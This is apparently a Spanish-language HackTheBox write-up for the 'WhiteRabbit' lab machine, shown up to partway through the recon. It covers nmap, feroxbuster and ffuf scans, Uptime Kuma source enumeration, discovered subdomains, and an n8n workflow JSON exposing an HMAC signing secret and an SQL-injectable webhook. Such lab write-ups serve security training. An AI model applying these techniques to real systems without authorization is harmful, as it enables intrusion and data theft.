This page looks best with JavaScript enabled

HackTheBox - WhiteRabbit

En WhiteRabbit se enumeraron subdominios. Se analizo el codigo fuente de Uptime Kuma para descubrir los ‘Status Page’, observamos dos nuevos subdominios: WikiJs y GoPhish. En el primero se describe un Workflow de n8n, se indica una vulnerabilidad SQLi la cual es “mitigada” con un signature. Se incluye un archivo json donde indica el query y el ‘secret’. Se creo un tamper para sqlmap el cual nos permitio explotar la vulnerabilidad donde, se descubrio acceso a restic y posteriormete aacceso SSH en contenedor docker. Con un servidor restic se obtuvo acceso a SSH. Encontramos un generador de contrasenas en base a tiempo, sabiendo el tiempo de ejecucion, se generaron contrasenas en un rango de tiempo lo que permitio acceder a un nuevo usuario. Finalmente se ejecuto sudo para cambiar a root.

Nombre WhiteRabbit box_img_maker
OS

Linux

Puntos 50
Dificultad Insane
Fecha de Salida 2025-04-05
IP 10.10.11.63
Maker

FLX0x00

Rated
{
    "type": "bar",
    "data":  {
        "labels": ["Cake", "VeryEasy", "Easy", "TooEasy", "Medium", "BitHard","Hard","TooHard","ExHard","BrainFuck"],
        "datasets": [{
            "label": "User Rated Difficulty",
            "data": [73, 26, 75, 170, 149, 175, 297, 268, 216, 194],
            "backgroundColor": ["#9fef00","#9fef00","#9fef00", "#ffaf00","#ffaf00","#ffaf00","#ffaf00", "#ff3e3e","#ff3e3e","#ff3e3e"]
        }]
    },
    "options": {
        "scales": {
          "xAxes": [{"display": false}],
          "yAxes": [{"display": false}]
        },
        "legend": {"labels": {"fontColor": "white"}},
        "responsive": true
      }
}

Recon

nmap

nmap muestra multiples puertos abiertos: http (80) y ssh (22, 2222).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
# Nmap 7.95 scan initiated Fri Apr 11 03:09:31 2025 as: /usr/lib/nmap/nmap --privileged -p22,80,2222 -sV -sC -oN nmap_scan 10.10.11.63
Nmap scan report for 10.10.11.63
Host is up (0.22s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 0f:b0:5e:9f:85:81:c6:ce:fa:f4:97:c2:99:c5:db:b3 (ECDSA)
|_  256 a9:19:c3:55:fe:6a:9a:1b:83:8f:9d:21:0a:08:95:47 (ED25519)
80/tcp   open  http    Caddy httpd
|_http-title: Did not follow redirect to http://whiterabbit.htb
|_http-server-header: Caddy
2222/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 c8:28:4c:7a:6f:25:7b:58:76:65:d8:2e:d1:eb:4a:26 (ECDSA)
|_  256 ad:42:c0:28:77:dd:06:bd:19:62:d8:17:30:11:3c:87 (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Apr 11 03:09:45 2025 -- 1 IP address (1 host up) scanned in 14.07 seconds

Web Site

El sitio web nos redirige al dominio whiterabbit.htb el cual agregamos al archivo /etc/hosts.

1
2
3
4
5
6
7
❯ curl -sI 10.10.11.63
HTTP/1.1 302 Found
Location: http://whiterabbit.htb
Server: Caddy
Date: Thu, 10 Apr 2025 23:45:32 GMT

Los headers del sitio muestran un servidor Caddy.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
❯ curl -sI whiterabbit.htb
HTTP/1.1 200 OK
Accept-Ranges: bytes
Content-Length: 6109
Content-Type: text/html; charset=utf-8
Etag: "d3ti25l7iyi04pp"
Last-Modified: Fri, 30 Aug 2024 19:40:12 GMT
Server: Caddy
Vary: Accept-Encoding
Date: Thu, 10 Apr 2025 23:46:14 GMT

El sitio describe una ’empresa’ enfocada en servicios de Pentesting.

image

Se muestran distintas tecnologias y herramientas: n8n, GoPhish, Stalwart Mailserver y Uptime Kuma.

image

Directory Brute Forcing

feroxbuster unicamente muestra imagenes del sitio.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
❯ feroxbuster -u http://whiterabbit.htb/ -w $MD
      
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.11.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://whiterabbit.htb/
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)7
 🦡  User-Agent            │ feroxbuster/2.11.0
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔎  Extract Links         │ true
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404      GET        0l        0w        0c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET     3066l    17141w  1391904c http://whiterabbit.htb/uptime.png
200      GET     3160l    17841w  1426261c http://whiterabbit.htb/phish.png
200      GET     3683l    20644w  1621908c http://whiterabbit.htb/n8n.png
200      GET      116l      510w     6109c http://whiterabbit.htb/
[####################] - 6m    220549/220549  0s      found:4       errors:0      
[####################] - 6m    220546/220546  589/s   http://whiterabbit.htb/

Subdomain Discovery

Tras ejecutar ffuf este muestra el subdominio status.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
❯ ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H "Host: FUZZ.whiterabbit.htb" -u http://whiterabbit.htb -fs 0

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://whiterabbit.htb
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
 :: Header           : Host: FUZZ.whiterabbit.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 0
________________________________________________

status                  [Status: 302, Size: 32, Words: 4, Lines: 1, Duration: 563ms]
:: Progress: [114441/114441] :: Job [1/1] :: 111 req/sec :: Duration: [0:16:00] :: Errors: 0 ::

status.whiterabbit.htb

El subdominio muestra un formulario de login a Uptime Kuma.

image

Directory Brute Forcing

Tras ejecutar feroxbuster este muestra directorios y direcciones existentes pero tambien muestra multiples que no existen.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
❯ feroxbuster -u http://status.whiterabbit.htb/ -w $MD
                                                                                                                                                                                        
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.11.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://status.whiterabbit.htb/
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)7
 🦡  User-Agent            │ feroxbuster/2.11.0
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔎  Extract Links         │ true
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
200      GET       38l      143w     2444c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
302      GET        1l        4w       32c http://status.whiterabbit.htb/ => http://status.whiterabbit.htb/dashboard
301      GET       10l       16w      189c http://status.whiterabbit.htb/screenshots => http://status.whiterabbit.htb/screenshots/
301      GET       10l       16w      179c http://status.whiterabbit.htb/assets => http://status.whiterabbit.htb/assets/
301      GET       10l       16w      179c http://status.whiterabbit.htb/upload => http://status.whiterabbit.htb/upload/
404      GET        1l        3w       15c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
301      GET       10l       16w      189c http://status.whiterabbit.htb/Screenshots => http://status.whiterabbit.htb/Screenshots/
401      GET        0l        0w        0c http://status.whiterabbit.htb/metrics
301      GET       10l       16w      179c http://status.whiterabbit.htb/Upload => http://status.whiterabbit.htb/Upload/
301      GET       10l       16w      189c http://status.whiterabbit.htb/ScreenShots => http://status.whiterabbit.htb/ScreenShots/
400      GET        1l        2w       13c http://status.whiterabbit.htb/%C0
400      GET        1l        2w       13c http://status.whiterabbit.htb/assets/%C0
400      GET        1l        2w       13c http://status.whiterabbit.htb/upload/%C0
400      GET        1l        2w       13c http://status.whiterabbit.htb/screenshots/%C0
400      GET        1l        2w       13c http://status.whiterabbit.htb/Screenshots/%C0
400      GET        1l        2w       13c http://status.whiterabbit.htb/Upload/%C0
200      GET        0l        0w     2444c http://status.whiterabbit.htb/37207
200      GET        0l        0w     2444c http://status.whiterabbit.htb/Screenshots/N3
200      GET        0l        0w     2444c http://status.whiterabbit.htb/Screenshots/WebSENSE
400      GET        1l        2w       13c http://status.whiterabbit.htb/ScreenShots/%C0
301      GET       10l       16w      189c http://status.whiterabbit.htb/screenShots => http://status.whiterabbit.htb/screenShots/
400      GET        1l        2w       13c http://status.whiterabbit.htb/%C9
400      GET        1l        2w       13c http://status.whiterabbit.htb/%C8
400      GET        1l        2w       13c http://status.whiterabbit.htb/%C1
[...]
400      GET        1l        2w       13c http://status.whiterabbit.htb/screenShots/%DB
[####################] - 56m  1764382/1764382 0s      found:252     errors:106    
[####################] - 40m   220546/220546  91/s    http://status.whiterabbit.htb/ 
[####################] - 44m   220546/220546  84/s    http://status.whiterabbit.htb/screenshots/ 
[####################] - 40m   220546/220546  91/s    http://status.whiterabbit.htb/assets/ 
[####################] - 44m   220546/220546  84/s    http://status.whiterabbit.htb/upload/ 
[####################] - 44m   220546/220546  84/s    http://status.whiterabbit.htb/Screenshots/ 
[####################] - 44m   220546/220546  84/s    http://status.whiterabbit.htb/Upload/ 
[####################] - 42m   220546/220546  87/s    http://status.whiterabbit.htb/ScreenShots/ 
[####################] - 23m   220546/220546  161/s   http://status.whiterabbit.htb/screenShots/

Uptime Kuma

Uptime Kuma es una herramienta de monitoreo, es open source por lo que realizamos la clonacion del repositorio y basandonos en el uso de la ultima version realizamos una busqueda de endpoints que nos permitan obtener informacion.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# git clone https://github.com/louislam/uptime-kuma
❯ ll
drwxrwxr-x kali kali 4.0 KB Fri Apr 11 09:02:08 2025  config
drwxrwxr-x kali kali 4.0 KB Fri Apr 11 09:02:08 2025  db
drwxrwxr-x kali kali 4.0 KB Fri Apr 11 09:02:08 2025  docker
drwxrwxr-x kali kali 4.0 KB Fri Apr 11 09:02:08 2025  extra
drwxrwxr-x kali kali 4.0 KB Fri Apr 11 09:02:08 2025  public
drwxrwxr-x kali kali 4.0 KB Fri Apr 11 09:02:08 2025  server
drwxrwxr-x kali kali 4.0 KB Fri Apr 11 09:02:08 2025 󱧼 src
drwxrwxr-x kali kali 4.0 KB Fri Apr 11 09:02:08 2025test
.rw-rw-r-- kali kali  13 B  Fri Apr 11 09:02:08 2025  CNAME
.rw-rw-r-- kali kali 5.4 KB Fri Apr 11 09:02:08 2025  CODE_OF_CONDUCT.md
.rw-rw-r-- kali kali 191 B  Fri Apr 11 09:02:08 2025  compose.yaml
.rw-rw-r-- kali kali  27 KB Fri Apr 11 09:02:08 2025  CONTRIBUTING.md
.rw-rw-r-- kali kali 109 B  Fri Apr 11 09:02:08 2025  ecosystem.config.js
.rw-rw-r-- kali kali 1.1 KB Fri Apr 11 09:02:08 2025  index.html
.rw-rw-r-- kali kali 1.0 KB Fri Apr 11 09:02:08 2025  LICENSE
.rw-rw-r-- kali kali 749 KB Fri Apr 11 09:02:08 2025  package-lock.json
.rw-rw-r-- kali kali 9.8 KB Fri Apr 11 09:02:08 2025  package.json
.rw-rw-r-- kali kali 7.4 KB Fri Apr 11 09:02:08 2025  README.md
.rw-rw-r-- kali kali 1.4 KB Fri Apr 11 09:02:08 2025  SECURITY.md
.rw-rw-r-- kali kali 441 B  Fri Apr 11 09:02:08 2025  tsconfig.json

De los ’endpoints’ ya conocidos, por el codigo fuente, se muestra que son accesibles tras autenticarse.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
❯ grep --color -iwr '/metrics'
server/server.js:    // Prometheus API metrics  /metrics
server/server.js:    app.get("/metrics", apiAuth, prometheusAPIMetrics());
❯ grep --color -iwr '/screenshots'
server/uptime-kuma-server.js:        this.app.use("/screenshots", express.static(Database.screenshotDir));
server/model/monitor.js:            screenshot = "/screenshots/" + jwt.sign(this.id, UptimeKumaServer.getInstance().jwtSecret) + ".png";
❯ grep --color -iwr '/upload'
server/server.js:    app.use("/upload", express.static(Database.uploadDir));
server/server.js:        if (_request.originalUrl.startsWith("/upload/")) {
server/socket-handlers/status-page-socket-handler.js:                config.logo = `/upload/${filename}?t=` + Date.now();

Enumeramos las rutas, encontramos que existe una api: /api/badge/ retorna una imagen svg. Tanto /status/:slug como /api/status-page/:slug, retornan informacion de monitoreo. La primera renderiza la informacion en HTML, en el caso de la api retorna la informacion en formato json.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
❯ grep --color -iwr 'router.get("*'
server/routers/api-router.js:router.get("/api/entry-page", async (request, response) => {
server/routers/api-router.js:router.get("/api/badge/:id/status", cache("5 minutes"), async (request, response) => {
server/routers/api-router.js:router.get("/api/badge/:id/uptime/:duration?", cache("5 minutes"), async (request, response) => {
server/routers/api-router.js:router.get("/api/badge/:id/ping/:duration?", cache("5 minutes"), async (request, response) => {
server/routers/api-router.js:router.get("/api/badge/:id/avg-response/:duration?", cache("5 minutes"), async (request, response) => {
server/routers/api-router.js:router.get("/api/badge/:id/cert-exp", cache("5 minutes"), async (request, response) => {
server/routers/api-router.js:router.get("/api/badge/:id/response", cache("5 minutes"), async (request, response) => {
server/routers/status-page-router.js:router.get("/status/:slug", cache("5 minutes"), async (request, response) => {
server/routers/status-page-router.js:router.get("/status/:slug/rss", cache("5 minutes"), async (request, response) => {
server/routers/status-page-router.js:router.get("/status", cache("5 minutes"), async (request, response) => {
server/routers/status-page-router.js:router.get("/status-page", cache("5 minutes"), async (request, response) => {
server/routers/status-page-router.js:router.get("/api/status-page/:slug", cache("5 minutes"), async (request, response) => {
server/routers/status-page-router.js:router.get("/api/status-page/heartbeat/:slug", cache("1 minutes"), async (request, response) => {
server/routers/status-page-router.js:router.get("/api/status-page/:slug/manifest.json", cache("1440 minutes"), async (request, response) => {
server/routers/status-page-router.js:router.get("/api/status-page/:slug/badge", cache("5 minutes"), async (request, response) => {
❯ grep --color -iwr 'redirect("*'
server/server.js:            response.redirect("/status/" + uptimeKumaEntryPage.replace("statusPage-", ""));
server/server.js:            response.redirect("/dashboard");
server/server.js:        response.redirect("https://github.com/louislam/uptime-kuma/wiki/Reset-Password-via-CLI");
server/setup-database.js:                response.redirect("/setup-database");

Status Pages

Ejecutamos ffuf en el endpoint status/ y encontramos que existe temp/.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
❯ ffuf -w $CM -u http://status.whiterabbit.htb/status/FUZZ -fl 39

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://status.whiterabbit.htb/status/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/dirb/common.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response lines: 39
________________________________________________

temp                    [Status: 200, Size: 3359, Words: 304, Lines: 41, Duration: 5874ms]
:: Progress: [4614/4614] :: Job [1/1] :: 27 req/sec :: Duration: [0:02:42] :: Errors: 0 ::

Temp Page

Tras visitar la pagina observamos una lista de sitios siendo ‘monitoreados’. Se muestran dos nuevos subdominios GoPhish y WikiJs (Dev), ambos se agregaron a /etc/hosts.

image

Asi mismo la api muestra la misma informacion en formato json. Por lo que una enumeracion en la API podria ser /api/status-page/FUZZ

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
❯ curl -s http://status.whiterabbit.htb/api/status-page/temp | jq
{
  "config": {
    "slug": "temp",
    "title": "Testpage (temporary)",
    "description": null,
    "icon": "/icon.svg",
    "theme": "auto",
    "published": true,
    "showTags": false,
    "customCSS": "body {\n  \n}\n",
    "footerText": null,
    "showPoweredBy": true,
    "googleAnalyticsId": null,
    "showCertificateExpiry": false
  },
  "incident": null,
  "publicGroupList": [
    {
      "id": 1,
      "name": "Dienste",
      "weight": 1,
      "monitorList": [
        {
          "id": 3,
          "name": "gophish (ddb09a8558c9.whiterabbit.htb)",
          "sendUrl": 0,
          "type": "http"
        },
        {
          "id": 2,
          "name": "n8n [Production]",
          "sendUrl": 0,
          "type": "http"
        },
        {
          "id": 1,
          "name": "website (whiterabbit.htb)",
          "sendUrl": 0,
          "type": "http"
        },
        {
          "id": 5,
          "name": "wikijs (a668910b5514e.whiterabbit.htb) [DEV]",
          "sendUrl": 0,
          "type": "http"
        }
      ]
    }
  ],
  "maintenanceList": []
}

ddb09a8558c9.whiterabbit.htb

El subdominio de GoPhis redirecciona directamente al login.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
❯ curl -sI ddb09a8558c9.whiterabbit.htb
HTTP/1.1 307 Temporary Redirect
Content-Security-Policy: frame-ancestors 'none';
Content-Type: text/html; charset=utf-8
Date: Fri, 11 Apr 2025 07:01:01 GMT
Location: /login?next=%2F
Server: Caddy
Set-Cookie: _gorilla_csrf=MTc0NDM1NDg2MXxJbVZ4YkZNeFFpOXNURmxHYm5kc1NHODBaREZUTkdNM1dUUnBieTlPV21GSWJsWnRkMmxTYjJsRU5YTTlJZ289fEri1tvTzphuywPM7CBDW5Z4pPdOSqxsCHmJlJR1dcn4; Expires=Fri, 11 Apr 2025 19:01:01 GMT; Max-Age=43200; HttpOnly; SameSite
Vary: Accept-Encoding
Vary: Cookie
X-Frame-Options: DENY

image

a668910b5514e.whiterabbit.htb

WikiJs muestra directamente una pagina ‘ToDo’ escrita por el administrador.

image

GoPhish - SQL Injection

En el post GoPhish Webhooks se describe el ‘workflow’ de como la informacion de GoPhish es procesada.

image

Se explican los datos que son aceptados en el webhook y el mecanismo de ‘seguridad’ que tiene este. Este ultimo se describe en el header x-gophish-signature donde se incluye el ‘Signature HMAC’ del cuerpo, se menciona que este es utilizado para mitigar el riesgo de inyecciones SQL.

Se muestra un ejemplo de una solicitud POST hacia el webhook con los datos y el header con el signature. Ademas se descubre el subdominio 28efa8f7df.whiterabbit.htb el cual se agrego al archivo /etc/hosts.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
POST /webhook/d96af3a4-21bd-4bcb-bd34-37bfc67dfd1d HTTP/1.1
Host: 28efa8f7df.whiterabbit.htb
x-gophish-signature: sha256=cf4651463d8bc629b9b411c58480af5a9968ba05fca83efa03a21b2cecd1c2dd
Accept: */*
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Content-Type: application/json
Content-Length: 81

{
  "campaign_id": 1,
  "email": "test@ex.com",
  "message": "Clicked Link"
}

Tambien, se incluye el archivo del workflow completo: gophish_to_phishing_score_database.json.

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
{
  "name": "Gophish to Phishing Score Database",
  "nodes": [
    {
      "parameters": {
        "respondWith": "text",
        "responseBody": "Error: No signature found in request header",
        "options": {}
      },
      "id": "c77c4304-a74e-4699-9b2c-52c7a8500fb4",
      "name": "no signature",
      "type": "n8n-nodes-base.respondToWebhook",
      "typeVersion": 1.1,
      "position": [
        660,
        620
      ]
    },
    {
      "parameters": {
        "respondWith": "text",
        "responseBody": "Error: Provided signature is not valid",
        "options": {}
      },
      "id": "da08f3e5-60c4-4898-ab28-d9f92aae2fe2",
      "name": "invalid signature",
      "type": "n8n-nodes-base.respondToWebhook",
      "typeVersion": 1.1,
      "position": [
        1380,
        540
      ]
    },
    {
      "parameters": {
        "operation": "executeQuery",
        "query": "UPDATE victims\nSET phishing_score = phishing_score + 10\nWHERE email = $1;",
        "options": {
          "queryReplacement": "={{ $json.email }}"
        }
      },
      "id": "e83be7d7-0c4a-4ca8-b341-3a40739f8825",
      "name": "Update Phishing Score for Clicked Event",
      "type": "n8n-nodes-base.mySql",
      "typeVersion": 2.4,
      "position": [
        2360,
        340
      ],
      "credentials": {
        "mySql": {
          "id": "qEqs6Hx9HRmSTg5v",
          "name": "mariadb - phishing"
        }
      }
    },
    {
      "parameters": {
        "conditions": {
          "options": {
            "caseSensitive": true,
            "leftValue": "",
            "typeValidation": "strict"
          },
          "conditions": [
            {
              "id": "ad6553f3-0e01-497a-97b5-3eba88542a11",
              "leftValue": "={{ $('Webhook').item.json.body.message }}",
              "rightValue": 0,
              "operator": {
                "type": "string",
                "operation": "exists",
                "singleValue": true
              }
            },
            {
              "id": "2a041864-d4b5-4c7d-a887-68792d576a73",
              "leftValue": "={{ $('Webhook').item.json.body.message }}",
              "rightValue": "Clicked Link",
              "operator": {
                "type": "string",
                "operation": "equals",
                "name": "filter.operator.equals"
              }
            }
          ],
          "combinator": "and"
        },
        "options": {}
      },
      "id": "c4c08710-b02c-4625-bdc3-19de5653844d",
      "name": "If Clicked",
      "type": "n8n-nodes-base.if",
      "typeVersion": 2,
      "position": [
        2120,
        320
      ]
    },
    {
      "parameters": {
        "operation": "executeQuery",
        "query": "UPDATE victims\nSET phishing_score = phishing_score + 50\nWHERE email = $1;",
        "options": {
          "queryReplacement": "={{ $json.email }}"
        }
      },
      "id": "220e3d9d-07f1-425e-a139-a51308737a89",
      "name": "Update Phishing Score for Submitted Data",
      "type": "n8n-nodes-base.mySql",
      "typeVersion": 2.4,
      "position": [
        2360,
        560
      ],
      "credentials": {
        "mySql": {
          "id": "qEqs6Hx9HRmSTg5v",
          "name": "mariadb - phishing"
        }
      }
    },
    {
      "parameters": {
        "conditions": {
          "options": {
            "caseSensitive": true,
            "leftValue": "",
            "typeValidation": "strict"
          },
          "conditions": [
            {
              "id": "ad6553f3-0e01-497a-97b5-3eba88542a11",
              "leftValue": "={{ $('Webhook').item.json.body.message }}",
              "rightValue": 0,
              "operator": {
                "type": "string",
                "operation": "exists",
                "singleValue": true
              }
            },
            {
              "id": "2a041864-d4b5-4c7d-a887-68792d576a73",
              "leftValue": "={{ $('Webhook').item.json.body.message }}",
              "rightValue": "Submitted Data",
              "operator": {
                "type": "string",
                "operation": "equals",
                "name": "filter.operator.equals"
              }
            }
          ],
          "combinator": "and"
        },
        "options": {}
      },
      "id": "9f49f588-12b7-4e3a-8d1a-74898b215d60",
      "name": "If Submitted Data",
      "type": "n8n-nodes-base.if",
      "typeVersion": 2,
      "position": [
        2120,
        500
      ]
    },
    {
      "parameters": {
        "respondWith": "text",
        "responseBody": "Success: Phishing score is updated",
        "options": {}
      },
      "id": "58eecf3c-97e9-4879-aaec-cd5759cb1ef8",
      "name": "Success",
      "type": "n8n-nodes-base.respondToWebhook",
      "typeVersion": 1.1,
      "position": [
        2660,
        460
      ]
    },
    {
      "parameters": {
        "conditions": {
          "options": {
            "caseSensitive": true,
            "leftValue": "",
            "typeValidation": "strict"
          },
          "conditions": [
            {
              "id": "8e2c34bd-a337-41e1-94a4-af319a991680",
              "leftValue": "={{ $json.signature }}",
              "rightValue": "={{ $json.calculated_signature }}",
              "operator": {
                "type": "string",
                "operation": "equals",
                "name": "filter.operator.equals"
              }
            }
          ],
          "combinator": "and"
        },
        "options": {}
      },
      "id": "8b12bac8-f513-422e-a582-99f67b87b24f",
      "name": "Compare signature",
      "type": "n8n-nodes-base.if",
      "typeVersion": 2,
      "position": [
        1100,
        340
      ]
    },
    {
      "parameters": {
        "respondWith": "text",
        "responseBody": "={{ $json.message }} | {{ JSON.stringify($json.error)}}",
        "options": {}
      },
      "id": "d3f8446a-81af-4e5a-894e-e0eab0596364",
      "name": "DEBUG: REMOVE SOON",
      "type": "n8n-nodes-base.respondToWebhook",
      "typeVersion": 1.1,
      "position": [
        1620,
        20
      ]
    },
    {
      "parameters": {
        "conditions": {
          "options": {
            "caseSensitive": true,
            "leftValue": "",
            "typeValidation": "strict"
          },
          "conditions": [
            {
              "id": "593bdf17-d38a-49a2-8431-d29679082aae",
              "leftValue": "={{ $json.headers.hasField('x-gophish-signature') }}",
              "rightValue": "true",
              "operator": {
                "type": "boolean",
                "operation": "true",
                "singleValue": true
              }
            }
          ],
          "combinator": "and"
        },
        "options": {}
      },
      "id": "0abc2e19-6ccc-4114-bf27-938b98ad5819",
      "name": "Check gophish header",
      "type": "n8n-nodes-base.if",
      "typeVersion": 2,
      "position": [
        440,
        440
      ]
    },
    {
      "parameters": {
        "jsCode": "const signatureHeader = $json.headers[\"x-gophish-signature\"];\nconst signature = signatureHeader.split('=')[1];\nreturn { json: { signature: signature, body: $json.body } };"
      },
      "id": "49aff93b-5d21-490d-a2af-95611d8f83d1",
      "name": "Extract signature",
      "type": "n8n-nodes-base.code",
      "typeVersion": 2,
      "position": [
        660,
        340
      ]
    },
    {
      "parameters": {
        "action": "hmac",
        "type": "SHA256",
        "value": "={{ JSON.stringify($json.body) }}",
        "dataPropertyName": "calculated_signature",
        "secret": "3CWVGMndgMvdVAzOjqBiTicmv7gxc6IS"
      },
      "id": "e406828a-0d97-44b8-8798-6d066c4a4159",
      "name": "Calculate the signature",
      "type": "n8n-nodes-base.crypto",
      "typeVersion": 1,
      "position": [
        860,
        340
      ]
    },
    {
      "parameters": {
        "conditions": {
          "options": {
            "caseSensitive": true,
            "leftValue": "",
            "typeValidation": "strict"
          },
          "conditions": [
            {
              "id": "4f69b753-a1ff-4376-88a0-032ede5d9223",
              "leftValue": "={{ $json.keys() }}",
              "rightValue": "",
              "operator": {
